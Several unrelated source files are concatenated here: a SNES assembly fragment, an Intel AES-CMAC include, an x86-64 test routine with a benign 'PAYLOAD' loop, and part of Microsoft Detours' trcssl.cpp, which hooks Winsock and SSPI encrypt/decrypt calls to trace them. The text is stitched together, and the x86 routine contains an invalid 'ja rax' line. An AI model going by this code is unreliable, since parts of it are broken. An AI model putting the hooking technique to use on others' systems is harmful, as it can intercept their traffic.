rtl } namespace hp { function setValue { enter ldx #$0000; append.hpValue(); append.alignSkip(2) lda #$0005; render.small.bpp4() allocator.index(hp); write.bpp4() leave; rtl } } namespace mp { variable(2, type) //0 = MP, 1 = SP variable(2, value) variable(2, counter) setTypeMP:; php; rep #$20; pha; lda #$0000; sta type; pla; plp; rtl setTypeSP:; php; rep #$20; pha; lda #$0001; sta type; pla; plp; rtl function setValue { enter sta value ldx #$0000 lda type cmp #$0000; bne +; lda value; append.mpValue(); bra render; + cmp #$0001; bne +; lda value; append.spValue(); bra render; + leave; rtl render: lda #$0004; render.small.bpp4() allocator.index(mp); write.bpp4() leave; rtl } function setNone { php; rep #$30 tilemap.incrementAddress(4) lda #$ffff; jsl setValue plp; rtl } } } codeCursor = pc() }
;; ;; Copyright (c) 2020, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %define NUM_LANES 8 %define AES_CBC_MAC aes256_cbc_mac_x8_sse %define SUBMIT_JOB_AES_CMAC_AUTH submit_job_aes256_cmac_auth_x8_sse %define FLUSH_JOB_AES_CMAC_AUTH flush_job_aes256_cmac_auth_x8_sse %include "sse/mb_mgr_aes_cmac_submit_flush_sse.asm"
.intel_syntax noprefix .text # Code section #region entry testCode_linux testCode_linux: .global testCode_linux # extern "C" void testCode_linux( # unsigned long * const data, # const unsigned long long nItems1, # const unsigned long long nItems2, # const unsigned long long nItems3); # # testCode_linux(unsigned long * const data, const unsigned long long nItems1, const unsigned long long nItems2, const unsigned long long nItems3); # rdi <= data # rsi <= nItems1 # rdx <= nItems2 # rcx <= nItems3 # The calling convention of the System V AMD64 ABI[14] is followed on Solaris, Linux, FreeBSD, OS X, # and other UNIX-like or POSIX-compliant operating systems. The first six integer or pointer arguments # are passed in registers RDI, RSI, RDX, RCX, R8, and R9, while XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 # and XMM7 are used for floating point arguments. For system calls, R10 is used instead of RCX. # As in the Microsoft x64 calling convention, additional arguments are passed on the stack and the # return value is stored in RAX. # # shuffle the registers to be equal to windows ABI mov r9, rcx mov rcx, rdi mov r8, rdx mov rdx, rsi #endregion #region entry testCode_windows testCode_windows: .global testCode_windows # extern "C" void testCode_windows( # unsigned long * const data, # const unsigned long long nItems1, # const unsigned long long nItems2, # const unsigned long long nItems3) # # rcx <= data # rdx <= nItems1 # r8 <= nItems2 # r9 <= nItems3 # The Microsoft x64 calling convention uses registers RCX, RDX, R8, R9 for the first four integer or # pointer arguments (in that order), and XMM0, XMM1, XMM2, XMM3 are used for floating point arguments. # Additional arguments are pushed onto the stack (right to left). Integer return values (similar to x86) # are returned in RAX if 64 bits or less. Floating point return values are returned in XMM0. Parameters # less than 64 bits long are not zero extended; the high bits are not zeroed. # #endregion #region PROLOG #--------------------------------------------------------------------- sub rsp, 8*8 mov qword ptr [rsp+0*8], r15 mov qword ptr [rsp+1*8], r14 mov qword ptr [rsp+2*8], r13 mov qword ptr [rsp+3*8], r12 mov qword ptr [rsp+4*8], rbx mov qword ptr [rsp+5*8], rdi mov qword ptr [rsp+6*8], rsi mov qword ptr [rsp+7*8], rbp #endregion PROLOG: #region PAYLOAD #--------------------------------------------------------------------- jmp start #region xorTests #34 ib XOR AL, imm8 I Valid Valid AL XOR imm8. int 3 xor al, 8 #35 iw XOR AX, imm16 I Valid Valid AX XOR imm16. #35 id XOR EAX, imm32 I Valid Valid EAX XOR imm32. #REX.W + 35 id XOR RAX, imm32 I Valid N.E. RAX XOR imm32 (sign-extended). #80 /6 ib XOR r/m8, imm8 MI Valid Valid r/m8 XOR imm8. #REX + 80 /6 ib XOR r/m8*, imm8 MI Valid N.E. r/m8 XOR imm8. #81 /6 iw XOR r/m16, imm16 MI Valid Valid r/m16 XOR imm16. #81 /6 id XOR r/m32, imm32 MI Valid Valid r/m32 XOR imm32. #REX.W + 81 /6 id XOR r/m64, imm32 MI Valid N.E. r/m64 XOR imm32 (sign-extended). #83 /6 ib XOR r/m16, imm8 MI Valid Valid r/m16 XOR imm8 (sign-extended). #83 /6 ib XOR r/m32, imm8 MI Valid Valid r/m32 XOR imm8 (sign-extended). #REX.W + 83 /6 ib XOR r/m64, imm8 MI Valid N.E. r/m64 XOR imm8 (sign-extended). #30 /r XOR r/m8, r8 MR Valid Valid r/m8 XOR r8. #REX + 30 /r XOR r/m8*, r8* MR Valid N.E. r/m8 XOR r8. #31 /r XOR r/m16, r16 MR Valid Valid r/m16 XOR r16. #31 /r XOR r/m32, r32 MR Valid Valid r/m32 XOR r32. #REX.W + 31 /r XOR r/m64, r64 MR Valid N.E. r/m64 XOR r64. #32 /r XOR r8, r/m8 RM Valid Valid r8 XOR r/m8. #REX + 32 /r XOR r8*, r/m8* RM Valid N.E. r8 XOR r/m8. #33 /r XOR r16, r/m16 RM Valid Valid r16 XOR r/m16. #33 /r XOR r32, r/m32 RM Valid Valid r32 XOR r/m32. #REX.W + 33 /r XOR r64, r/m64 RM Valid N.E. r64 XOR r/m64. #endregion start: mov r15, rdx imul r15, r8 imul r15, r9 test r15, r15 jz EPILOG ja rax .align 16 MY_LOOP: dec r15 mov dword ptr [rcx + 4*r15], r15d jnz MY_LOOP #endregion payload #region EPILOG #--------------------------------------------------------------------- EPILOG: mov r15, qword ptr [rsp+0*8] mov r14, qword ptr [rsp+1*8] mov r13, qword ptr [rsp+2*8] mov r12, qword ptr [rsp+3*8] mov rbx, qword ptr [rsp+4*8] mov rdi, qword ptr [rsp+5*8] mov rsi, qword ptr [rsp+6*8] mov rbp, qword ptr [rsp+7*8] add rsp, 8*8 ret #endregion .att_syntax
////////////////////////////////////////////////////////////////////////////// // // Detours Test Program (trcssl.cpp of trcssl.dll) // // Microsoft Research Detours Package // // Copyright (c) Microsoft Corporation. All rights reserved. // #define _WIN32_WINNT 0x0400 #define WIN32 #define NT #define SECURITY_WIN32 #define _WINSOCK_DEPRECATED_NO_WARNINGS #define DBG_TRACE 0 #if _MSC_VER >= 1300 #include <winsock2.h> #endif #include <windows.h> #include <security.h> #include <stdio.h> #include "detours.h" #include "syelog.h" #define PULONG_PTR PVOID #define PLONG_PTR PVOID #define ULONG_PTR PVOID #define ENUMRESNAMEPROCA PVOID #define ENUMRESNAMEPROCW PVOID #define ENUMRESLANGPROCA PVOID #define ENUMRESLANGPROCW PVOID #define ENUMRESTYPEPROCA PVOID #define ENUMRESTYPEPROCW PVOID #define STGOPTIONS PVOID ////////////////////////////////////////////////////////////////////////////// #pragma warning(disable:4127) // Many of our asserts are constants. #define ASSERT_ALWAYS(x) \ do { \ if (!(x)) { \ AssertMessage(#x, __FILE__, __LINE__); \ DebugBreak(); \ } \ } while (0) #ifndef NDEBUG #define ASSERT(x) ASSERT_ALWAYS(x) #else #define ASSERT(x) #endif #define UNUSED(c) (c) = (c) ////////////////////////////////////////////////////////////////////////////// static HMODULE s_hInst = NULL; static WCHAR s_wzDllPath[MAX_PATH]; VOID _PrintDump(SOCKET socket, PCHAR pszData, INT cbData); VOID _PrintEnter(PCSTR psz, ...); VOID _PrintExit(PCSTR psz, ...); VOID _Print(PCSTR psz, ...); VOID AssertMessage(CONST PCHAR pszMsg, CONST PCHAR pszFile, ULONG nLine); ////////////////////////////////////////////////////////////////////////////// // extern "C" { HANDLE (WINAPI * Real_CreateFileW)(LPCWSTR a0, DWORD a1, DWORD a2, LPSECURITY_ATTRIBUTES a3, DWORD a4, DWORD a5, HANDLE a6) = CreateFileW; BOOL (WINAPI * Real_WriteFile)(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) = WriteFile; BOOL (WINAPI * Real_FlushFileBuffers)(HANDLE hFile) = FlushFileBuffers; BOOL (WINAPI * Real_CloseHandle)(HANDLE hObject) = CloseHandle; BOOL (WINAPI * Real_WaitNamedPipeW)(LPCWSTR lpNamedPipeName, DWORD nTimeOut) = WaitNamedPipeW; BOOL (WINAPI * Real_SetNamedPipeHandleState)(HANDLE hNamedPipe, LPDWORD lpMode, LPDWORD lpMaxCollectionCount, LPDWORD lpCollectDataTimeout) = SetNamedPipeHandleState; DWORD (WINAPI * Real_GetCurrentProcessId)(VOID) = GetCurrentProcessId; VOID (WINAPI * Real_GetSystemTimeAsFileTime)(LPFILETIME lpSystemTimeAsFileTime) = GetSystemTimeAsFileTime; VOID (WINAPI * Real_InitializeCriticalSection)(LPCRITICAL_SECTION lpSection) = InitializeCriticalSection; VOID (WINAPI * Real_EnterCriticalSection)(LPCRITICAL_SECTION lpSection) = EnterCriticalSection; VOID (WINAPI * Real_LeaveCriticalSection)(LPCRITICAL_SECTION lpSection) = LeaveCriticalSection; } DWORD (WINAPI * Real_GetModuleFileNameW)(HMODULE a0, LPWSTR a1, DWORD a2) = GetModuleFileNameW; BOOL (WINAPI * Real_CreateProcessW)(LPCWSTR a0, LPWSTR a1, LPSECURITY_ATTRIBUTES a2, LPSECURITY_ATTRIBUTES a3, BOOL a4, DWORD a5, LPVOID a6, LPCWSTR a7, LPSTARTUPINFOW a8, LPPROCESS_INFORMATION a9) = CreateProcessW; #if _MSC_VER < 1300 SOCKET (WINAPI * Real_WSAAccept)(SOCKET a0, sockaddr* a1, LPINT a2, LPCONDITIONPROC a3, DWORD a4) = WSAAccept; #else SOCKET (WINAPI * Real_WSAAccept)(SOCKET a0, sockaddr* a1, LPINT a2, LPCONDITIONPROC a3, DWORD_PTR a4) = WSAAccept; #endif INT (WINAPI * Real_WSAAddressToStringA)(LPSOCKADDR a0, DWORD a1, LPWSAPROTOCOL_INFOA a2, LPSTR a3, LPDWORD a4) = WSAAddressToStringA; INT (WINAPI * Real_WSAAddressToStringW)(LPSOCKADDR a0, DWORD a1, LPWSAPROTOCOL_INFOW a2, LPWSTR a3, LPDWORD a4) = WSAAddressToStringW; HANDLE (WINAPI * Real_WSAAsyncGetHostByAddr)(HWND a0, u_int a1, CONST char* a2, int a3, int a4, char* a5, int a6) = WSAAsyncGetHostByAddr; HANDLE (WINAPI * Real_WSAAsyncGetHostByName)(HWND a0, u_int a1, CONST char* a2, char* a3, int a4) = WSAAsyncGetHostByName; HANDLE (WINAPI * Real_WSAAsyncGetProtoByName)(HWND a0, u_int a1, CONST char* a2, char* a3, int a4) = WSAAsyncGetProtoByName; HANDLE (WINAPI * Real_WSAAsyncGetProtoByNumber)(HWND a0, u_int a1, int a2, char* a3, int a4) = WSAAsyncGetProtoByNumber; HANDLE (WINAPI * Real_WSAAsyncGetServByName)(HWND a0, u_int a1, CONST char* a2, CONST char* a3, char* a4, int a5) = WSAAsyncGetServByName; HANDLE (WINAPI * Real_WSAAsyncGetServByPort)(HWND a0, u_int a1, int a2, CONST char* a3, char* a4, int a5) = WSAAsyncGetServByPort; int (WINAPI * Real_WSACancelAsyncRequest)(HANDLE a0) = WSACancelAsyncRequest; int (WINAPI * Real_WSACancelBlockingCall)(void) = WSACancelBlockingCall; int (WINAPI * Real_WSACleanup)(void) = WSACleanup; BOOL (WINAPI * Real_WSACloseEvent)(HANDLE a0) = WSACloseEvent; int (WINAPI * Real_WSAConnect)(SOCKET a0, CONST sockaddr* a1, int a2, LPWSABUF a3, LPWSABUF a4, LPQOS a5, LPQOS a6) = WSAConnect; HANDLE (WINAPI * Real_WSACreateEvent)(void) = WSACreateEvent; int (WINAPI * Real_WSADuplicateSocketA)(SOCKET a0, DWORD a1, LPWSAPROTOCOL_INFOA a2) = WSADuplicateSocketA; int (WINAPI * Real_WSADuplicateSocketW)(SOCKET a0, DWORD a1, LPWSAPROTOCOL_INFOW a2) = WSADuplicateSocketW; INT (WINAPI * Real_WSAEnumNameSpaceProvidersA)(LPDWORD a0, LPWSANAMESPACE_INFOA a1) = WSAEnumNameSpaceProvidersA; INT (WINAPI * Real_WSAEnumNameSpaceProvidersW)(LPDWORD a0, LPWSANAMESPACE_INFOW a1) = WSAEnumNameSpaceProvidersW; int (WINAPI * Real_WSAEnumNetworkEvents)(SOCKET a0, HANDLE a1, LPWSANETWORKEVENTS a2) = WSAEnumNetworkEvents; int (WINAPI * Real_WSAEnumProtocolsA)(LPINT a0, LPWSAPROTOCOL_INFOA a1, LPDWORD a2) = WSAEnumProtocolsA; int (WINAPI * Real_WSAEnumProtocolsW)(LPINT a0, LPWSAPROTOCOL_INFOW a1, LPDWORD a2) = WSAEnumProtocolsW; BOOL (WINAPI * Real_WSAGetOverlappedResult)(SOCKET a0, LPWSAOVERLAPPED a1, LPDWORD a2, BOOL a3, LPDWORD a4) = WSAGetOverlappedResult; BOOL (WINAPI * Real_WSAIsBlocking)(void) = WSAIsBlocking; SOCKET (WINAPI * Real_WSAJoinLeaf)(SOCKET a0, CONST sockaddr* a1, int a2, LPWSABUF a3, LPWSABUF a4, LPQOS a5, LPQOS a6, DWORD a7) = WSAJoinLeaf; INT (WINAPI * Real_WSAProviderConfigChange)(LPHANDLE a0, LPWSAOVERLAPPED a1, LPWSAOVERLAPPED_COMPLETION_ROUTINE a2) = WSAProviderConfigChange; int (WINAPI * Real_WSARecv)(SOCKET a0, LPWSABUF a1, DWORD a2, LPDWORD a3, LPDWORD a4, LPWSAOVERLAPPED a5, LPWSAOVERLAPPED_COMPLETION_ROUTINE a6) = WSARecv; int (WINAPI * Real_WSARecvDisconnect)(SOCKET a0, LPWSABUF a1) = WSARecvDisconnect; int (WINAPI * Real_WSARecvFrom)(SOCKET a0, LPWSABUF a1, DWORD a2, LPDWORD a3, LPDWORD a4, sockaddr* a5, LPINT a6, LPWSAOVERLAPPED a7, LPWSAOVERLAPPED_COMPLETION_ROUTINE a8) = WSARecvFrom; BOOL (WINAPI * Real_WSAResetEvent)(HANDLE a0) = WSAResetEvent; int (WINAPI * Real_WSASend)(SOCKET a0, LPWSABUF a1, DWORD a2, LPDWORD a3, DWORD a4, LPWSAOVERLAPPED a5, LPWSAOVERLAPPED_COMPLETION_ROUTINE a6) = WSASend; int (WINAPI * Real_WSASendDisconnect)(SOCKET a0, LPWSABUF a1) = WSASendDisconnect; int (WINAPI * Real_WSASendTo)(SOCKET a0, LPWSABUF a1, DWORD a2, LPDWORD a3, DWORD a4, CONST sockaddr* a5, int a6, LPWSAOVERLAPPED a7, LPWSAOVERLAPPED_COMPLETION_ROUTINE a8) = WSASendTo; INT (WINAPI * Real_WSAStringToAddressA)(LPSTR a0, INT a1, LPWSAPROTOCOL_INFOA a2, LPSOCKADDR a3, LPINT a4) = WSAStringToAddressA; INT (WINAPI * Real_WSAStringToAddressW)(LPWSTR a0, INT a1, LPWSAPROTOCOL_INFOW a2, LPSOCKADDR a3, LPINT a4) = WSAStringToAddressW; DWORD (WINAPI * Real_WSAWaitForMultipleEvents)(DWORD a0, CONST HANDLE * a1, BOOL a2, DWORD a3, BOOL a4) = WSAWaitForMultipleEvents; SOCKET (WINAPI * Real_accept)(SOCKET a0, sockaddr* a1, int* a2) = accept; int (WINAPI * Real_closesocket)(SOCKET a0) = closesocket; int (WINAPI * Real_connect)(SOCKET a0, CONST sockaddr* a1, int a2) = connect; int (WINAPI * Real_listen)(SOCKET a0, int a1) = listen; int (WINAPI * Real_recv)(SOCKET a0, char* a1, int a2, int a3) = recv; int (WINAPI * Real_recvfrom)(SOCKET a0, char* a1, int a2, int a3, sockaddr* a4, int* a5) = recvfrom; int (WINAPI * Real_send)(SOCKET a0, CONST char* a1, int a2, int a3) = send; int (WINAPI * Real_sendto)(SOCKET a0, CONST char* a1, int a2, int a3, CONST sockaddr* a4, int a5) = sendto; int (WINAPI * Real_shutdown)(SOCKET a0, int a1) = shutdown; SECURITY_STATUS (SEC_ENTRY * Real_EncryptMessage)( PCtxtHandle phContext, unsigned long fQOP, PSecBufferDesc pMessage, unsigned long MessageSeqNo) = EncryptMessage; SECURITY_STATUS (SEC_ENTRY * Real_DecryptMessage)( PCtxtHandle phContext, PSecBufferDesc pMessage, unsigned long MessageSeqNo, unsigned long * pfQOP) = DecryptMessage; ////////////////////////////////////////////////////////////////////////////// // Detours // BOOL WINAPI Mine_CreateProcessW(LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) { _PrintEnter("CreateProcessW(%ls,%ls,%p,%p,%x,%x,%p,%ls,%p,%p)\n", lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); BOOL rv = 0; __try { rv = Real_CreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); } __finally { _PrintExit("CreateProcessW(,,,,,,,,,) -> %x\n", rv); }; return rv; } #if _MSC_VER < 1300 SOCKET WINAPI Mine_WSAAccept(SOCKET a0, sockaddr* a1, LPINT a2, LPCONDITIONPROC a3, DWORD a4) #else SOCKET WINAPI Mine_WSAAccept(SOCKET a0, sockaddr* a1, LPINT a2, LPCONDITIONPROC a3, DWORD_PTR a4) #endif { SOCKET rv = 0; __try { rv = Real_WSAAccept(a0, a1, a2, a3, a4); } __finally { _PrintEnter("%p: WSAAccept(,%p,%p,%p,%p) -> %p\n", a0, a1, a2, a3, a4, rv); _PrintExit(NULL); }; return rv; } INT WINAPI Mine_WSAAddressToStringA(LPSOCKADDR a0, DWORD a1, LPWSAPROTOCOL_INFOA a2, LPSTR a3, LPDWORD a4) { _PrintEnter("WSAAddressToStringA(%p,%x,%p,%p,%p)\n", a0, a1, a2, a3, a4); INT rv = 0; __try { rv = Real_WSAAddressToStringA(a0, a1, a2, a3, a4); } __finally { _PrintExit("WSAAddressToStringA(,,,,) -> %x\n", rv); }; return rv; } INT WINAPI Mine_WSAAddressToStringW(LPSOCKADDR a0, DWORD a1, LPWSAPROTOCOL_INFOW a2, LPWSTR a3, LPDWORD a4) { _PrintEnter("WSAAddressToStringW(%p,%x,%p,%p,%p)\n", a0, a1, a2, a3, a4); INT rv = 0; __try { rv = Real_WSAAddressToStringW(a0, a1, a2, a3, a4); } __finally { _PrintExit("WSAAddressToStringW(,,,,) -> %x\n", rv); }; return rv; } HANDLE WINAPI Mine_WSAAsyncGetHostByAddr(HWND a0, u_int a1, char* a2, int a3, int a4, char* a5, int a6) { _PrintEnter("WSAAsyncGetHostByAddr(%p,%x,%p,%x,%x,%p,%x)\n", a0, a1, a2, a3, a4, a5, a6); HANDLE rv = 0; __try { rv = Real_WSAAsyncGetHostByAddr(a0, a1, a2, a3, a4, a5, a6); } __finally { _PrintExit("WSAAsyncGetHostByAddr(,,,,,,) -> %p\n", rv); }; return rv; } HANDLE WINAPI Mine_WSAAsyncGetHostByName(HWND a0, u_int a1, char* a2, char* a3, int a4) { _PrintEnter("WSAAsyncGetHostByName(%p,%x,%p,%p,%x)\n", a0, a1, a2, a3, a4); HANDLE rv = 0; __try { rv = Real_WSAAsyncGetHostByName(a0, a1, a2, a3, a4); } __finally { _PrintExit("WSAAsyncGetHostByName(,,,,) -> %p\n", rv); }; return rv; } HANDLE WINAPI Mine_WSAAsyncGetProtoByName(HWND a0, u_int a1, char* a2, char* a3, int a4) { _PrintEnter("WSAAsyncGetProtoByName(%p,%x,%p,%p,%x)\n", a0, a1, a2, a3, a4); HANDLE rv = 0; __try { rv = Real_WSAAsyncGetProtoByName(a0, a1, a2, a3, a4); } __finally { _PrintExit("WSAAsyncGetProtoByName(,,,,) -> %p\n", rv); }; return rv; } HANDLE WINAPI Mine_WSAAsyncGetProtoByNumber(HWND a0, u_int a1, int a2, char* a3, int a4) { _PrintEnter("WSAAsyncGetProtoByNumber(%p,%x,%p,%p,%x)\n", a0, a1, a2, a3, a4); HANDLE rv = 0; __try { rv = Real_WSAAsyncGetProtoByNumber(a0, a1, a2, a3, a4); } __finally { _PrintExit("WSAAsyncGetProtoByNumber(,,,,) -> %p\n", rv); }; return rv; } HANDLE WINAPI Mine_WSAAsyncGetServByName(HWND a0, u_int a1, char* a2, char* a3, char* a4, int a5) { _PrintEnter("WSAAsyncGetServByName(%p,%x,%p,%p,%p,%x)\n", a0, a1, a2, a3, a4, a5); HANDLE rv = 0; __try { rv = Real_WSAAsyncGetServByName(a0, a1, a2, a3, a4, a5); } __finally { _PrintExit("WSAAsyncGetServByName(,,,,,) -> %p\n", rv); }; return rv; } HANDLE WINAPI Mine_WSAAsyncGetServByPort(HWND a0, u_int a1, int a2, char* a3, char* a4, int a5) { _PrintEnter("WSAAsyncGetServByPort(%p,%x,%x,%p,%p,%x)\n", a0, a1, a2, a3, a4, a5); HANDLE rv = 0; __try { rv = Real_WSAAsyncGetServByPort(a0, a1, a2, a3, a4, a5); } __finally { _PrintExit("WSAAsyncGetServByPort(,,,,,) -> %p\n", rv); }; return rv; } int WINAPI Mine_WSACancelAsyncRequest(HANDLE a0) { _PrintEnter("WSACancelAsyncRequest(%p)\n", a0); int rv = 0; __try { rv = Real_WSACancelAsyncRequest(a0); } __finally { _PrintExit("WSACancelAsyncRequest() -> %x\n", rv); }; return rv; } int WINAPI Mine_WSACancelBlockingCall(void) { _PrintEnter("WSACancelBlockingCall()\n"); int rv = 0; __try { rv = Real_WSACancelBlockingCall(); } __finally { _PrintExit("WSACancelBlockingCall() -> %x\n", rv); }; return rv; } int WINAPI Mine_WSACleanup(void) { _PrintEnter("WSACleanup()\n"); int rv = 0; __try { rv = Real_WSACleanup(); } __finally { _PrintExit("WSACleanup() -> %x\n", rv); }; return rv; } BOOL WINAPI Mine_WSACloseEvent(HANDLE a0) { _PrintEnter("WSACloseEvent(%p)\n", a0); BOOL rv = 0; __try { rv = Real_WSACloseEvent(a0); } __finally { _PrintExit("WSACloseEvent() -> %x\n", rv); }; return rv; } int WINAPI Mine_WSAConnect(SOCKET a0, sockaddr* a1, int a2, LPWSABUF a3, LPWSABUF a4, LPQOS a5, LPQOS a6) { int rv = 0; __try { rv = Real_WSAConnect(a0, a1, a2, a3, a4, a5, a6); } __finally { _PrintEnter("%p: WSAConnect(,%p,%x,%p,%p,%p,%p) -> %x\n", a0, a1, a2, a3, a4, a5, a6, rv); _PrintExit(NULL); }; return rv; } HANDLE WINAPI Mine_WSACreateEvent(void) { _PrintEnter("WSACreateEvent()\n"); HANDLE rv = 0; __try { rv = Real_WSACreateEvent(); } __finally { _PrintExit("WSACreateEvent() -> %p\n", rv); }; return rv; } int WINAPI Mine_WSADuplicateSocketA(SOCKET a0, DWORD a1, LPWSAPROTOCOL_INFOA a2) { _PrintEnter("%p: WSADuplicateSocketA(,%x,%p)\n", a0, a1, a2); int rv = 0; __try { rv = Real_WSADuplicateSocketA(a0, a1, a2); } __finally { _PrintExit("%p: WSADuplicateSocketA(,,) -> %x\n", a0, rv); }; return rv; } int WINAPI Mine_WSADuplicateSocketW(SOCKET a0, DWORD a1, LPWSAPROTOCOL_INFOW a2) { _PrintEnter("%p: WSADuplicateSocketW(,%x,%p)\n", a0, a1, a2); int rv = 0; __try { rv = Real_WSADuplicateSocketW(a0, a1, a2); } __finally { _PrintExit("%p: WSADuplicateSocketW(,,) -> %x\n", a0, rv); }; return rv; } INT WINAPI Mine_WSAEnumNameSpaceProvidersA(LPDWORD a0, LPWSANAMESPACE_INFOA a1) { _PrintEnter("WSAEnumNameSpaceProvidersA(%p,%p)\n", a0, a1); INT rv = 0; __try { rv = Real_WSAEnumNameSpaceProvidersA(a0, a1); } __finally { _PrintExit("WSAEnumNameSpaceProvidersA(,) -> %x\n", rv); }; return rv; } INT WINAPI Mine_WSAEnumNameSpaceProvidersW(LPDWORD a0, LPWSANAMESPACE_INFOW a1) { _PrintEnter("WSAEnumNameSpaceProvidersW(%p,%p)\n", a0, a1); INT rv = 0; __try { rv = Real_WSAEnumNameSpaceProvidersW(a0, a1); } __finally { _PrintExit("WSAEnumNameSpaceProvidersW(,) -> %x\n", rv); }; return rv; } int WINAPI Mine_WSAEnumNetworkEvents(SOCKET a0, HANDLE a1, LPWSANETWORKEVENTS a2) { _PrintEnter("%p: WSAEnumNetworkEvents(,%p,%p)\n", a0, a1, a2); int rv = 0; __try { rv = Real_WSAEnumNetworkEvents(a0, a1, a2); } __finally { _PrintExit("%p: WSAEnumNetworkEvents(,,) -> %x\n", a0, rv); }; return rv; } int WINAPI Mine_WSAEnumProtocolsA(LPINT a0, LPWSAPROTOCOL_INFOA a1, LPDWORD a2) { _PrintEnter("WSAEnumProtocolsA(%p,%p,%p)\n", a0, a1, a2); int rv = 0; __try { rv = Real_WSAEnumProtocolsA(a0, a1, a2); } __finally { _PrintExit("WSAEnumProtocolsA(,,) -> %x\n", rv); }; return rv; } int WINAPI Mine_WSAEnumProtocolsW(LPINT a0, LPWSAPROTOCOL_INFOW a1, LPDWORD a2) { _PrintEnter("WSAEnumProtocolsW(%p,%p,%p)\n", a0, a1, a2); int rv = 0; __try { rv = Real_WSAEnumProtocolsW(a0, a1, a2); } __finally { _PrintExit("WSAEnumProtocolsW(,,) -> %x\n", rv); }; return rv; } BOOL WINAPI Mine_WSAGetOverlappedResult(SOCKET a0, LPWSAOVERLAPPED a1, LPDWORD a2, BOOL a3, LPDWORD a4) { _PrintEnter("%p: WSAGetOverlappedResult(,%p,%p,%x,%p)\n", a0, a1, a2, a3, a4); BOOL rv = 0; __try { rv = Real_WSAGetOverlappedResult(a0, a1, a2, a3, a4); } __finally { _PrintExit("%p: WSAGetOverlappedResult(,,,,) -> %x\n", a0, rv); }; return rv; } BOOL WINAPI Mine_WSAIsBlocking(void) { _PrintEnter("WSAIsBlocking()\n"); BOOL rv = 0; __try { rv = Real_WSAIsBlocking(); } __finally { _PrintExit("WSAIsBlocking() -> %x\n", rv); }; return rv; } SOCKET WINAPI Mine_WSAJoinLeaf(SOCKET a0, sockaddr* a1, int a2, LPWSABUF a3, LPWSABUF a4, LPQOS a5, LPQOS a6, DWORD a7) { _PrintEnter("%p: WSAJoinLeaf(,%p,%x,%p,%p,%p,%p,%x)\n", a0, a1, a2, a3, a4, a5, a6, a7); SOCKET rv = 0; __try { rv = Real_WSAJoinLeaf(a0, a1, a2, a3, a4, a5, a6, a7); } __finally { _PrintExit("%p: WSAJoinLeaf(,,,,,,,) -> %p\n", a0, rv); }; return rv; } INT WINAPI Mine_WSAProviderConfigChange(LPHANDLE a0, LPWSAOVERLAPPED a1, LPWSAOVERLAPPED_COMPLETION_ROUTINE a2) { _PrintEnter("WSAProviderConfigChange(%p,%p,%p)\n", a0, a1, a2); INT rv = 0; __try { rv = Real_WSAProviderConfigChange(a0, a1, a2); } __finally { _PrintExit("WSAProviderConfigChange(,,) -> %x\n", rv); }; return rv; } int WINAPI Mine_WSARecv(SOCKET a0, LPWSABUF a1, DWORD a2, LPDWORD a3, LPDWORD a4, LPWSAOVERLAPPED a5, LPWSAOVERLAPPED_COMPLETION_ROUTINE a6) { int rv = -1; __try { rv = Real_WSARecv(a0, a1, a2, a3, a4, a5, a6); } __finally { if (rv == 0) { _PrintEnter("%p: WSARecv(,%p,%x,%p,%p,%p,%p)\n", a0, a1, a2, a3, a4, a5, a6); #if 0 _PrintDump(a0, a1[0].buf, a1[0].len < *a3 ? a1[0].len : *a3); #endif _PrintExit("%p: WSARecv(,,,,,,) -> %x\n", a0, rv); } }; return rv; } int WINAPI Mine_WSARecvDisconnect(SOCKET a0, LPWSABUF a1) { _PrintEnter("%p: WSARecvDisconnect(,%p)\n", a0, a1); int rv = 0; __try { rv = Real_WSARecvDisconnect(a0, a1); } __finally { _PrintExit("%p: WSARecvDisconnect(,) -> %x\n", a0, rv); }; return rv; } int WINAPI Mine_WSARecvFrom(SOCKET a0, LPWSABUF a1, DWORD a2, LPDWORD a3, LPDWORD a4, sockaddr* a5, LPINT a6, LPWSAOVERLAPPED a7, LPWSAOVERLAPPED_COMPLETION_ROUTINE a8) { _PrintEnter("%p: WSARecvFrom(,%p,%x,%p,%p,%p,%p,%p,%p)\n", a0, a1, a2, a3, a4, a5, a6, a7, a8); int rv = 0; __try { rv = Real_WSARecvFrom(a0, a1, a2, a3, a4, 